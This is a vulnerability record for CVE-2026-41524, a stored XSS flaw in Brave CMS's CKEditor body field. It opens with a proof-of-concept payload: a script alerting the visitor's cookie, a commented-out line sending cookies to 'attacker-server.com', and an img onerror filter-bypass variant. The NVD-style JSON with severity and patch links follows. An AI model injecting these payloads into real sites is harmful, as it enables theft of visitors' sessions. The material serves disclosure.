CVE-2026-41524

<!-- PoC for CVE-2026-41524 - Stored XSS in Brave CMS Description: Inject this payload into the CKEditor Body field when creating or editing a page. --> <script> // Demonstrate XSS execution by alerting the document cookie alert('XSS Vulnerability Confirmed: ' + document.cookie); // Example: Exfiltrate data to an external server controlled by the attacker // var img = new Image(); // img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(document.cookie); // document.body.appendChild(img); </script> <!-- Alternatively, use an image tag to execute JS without script blocks (often bypasses simple filters) --> <img src=x onerror="alert('XSS via Image Tag')">

{"cve": {"id": "CVE-2026-41524", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:40.253", "lastModified": "2026-05-08T22:16:30.473", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Ajax30/BraveCMS-2.0/commit/6c5660373cf5f0ca9181603280427aca46ef11ea", "source": "[email protected]"}, {"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-xj46-722x-6433", "source": "[email protected]"}, {"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-xj46-722x-6433", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}